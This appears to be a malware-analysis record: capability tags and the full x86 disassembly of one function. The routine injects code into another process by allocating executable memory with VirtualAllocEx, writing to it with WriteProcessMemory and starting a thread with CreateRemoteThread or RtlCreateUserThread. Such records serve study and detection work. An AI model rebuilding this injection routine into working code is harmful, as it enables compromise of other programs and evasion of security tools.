Function at 0x18d24040
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.18d23b00
add esp, 4
test eax, eax
je 0x18d24069
jmp 0x18d242a1
mov ecx, dword [ebp + 0xc]
push ecx
push 0x43a
call fcn.18d21cf0
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x18d24088
jmp 0x18d242a1
mov edx, dword [ebp - 8]
push edx
call fcn.18d21f60
add esp, 4
test eax, eax
je 0x18d2409d
jmp 0x18d242a1
mov eax, dword [ebp + 8]
push eax
call fcn.18d226a0
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x18d240b7
jmp 0x18d242a1
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.18d23010
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x18d240d1
jmp 0x18d242a1
call fcn.18d22690
push eax
call fcn.18d226a0
add esp, 4
cmp dword [ebp - 0x14], eax
je 0x18d24104
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.18d23f30
add esp, 0x10
mov dword [ebp - 4], eax
jmp 0x18d242a1
mov eax, dword [ebp + 0xc]
push eax
call fcn.18d23ee0
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x18d2411c
jmp 0x18d242a1
push 0x40
push 0x1000
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x18d24141
jmp 0x18d242a1
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18d2427e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 8]
sub ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
push 4
push 0x1000
push 8
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
je 0x18d2427e
lea eax, [ebp - 0x18]
push eax
push 8
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, 0x18d23d70
sub edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp + 8], edx
mov dword [ebp - 0x24], 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x18d24217
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.18d23cf0
add esp, 0xc
movzx eax, al
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 4], eax
jmp 0x18d2425d
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jl 0x18d2425d
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.18d23cf0
add esp, 0xc
movzx edx, al
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.18d21ba0
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 4], 0
jne 0x18d24299
push 0x8000
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor edx, edx
jne 0x18d24054
mov eax, dword [ebp - 8]
push eax
call fcn.18d21ba0
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret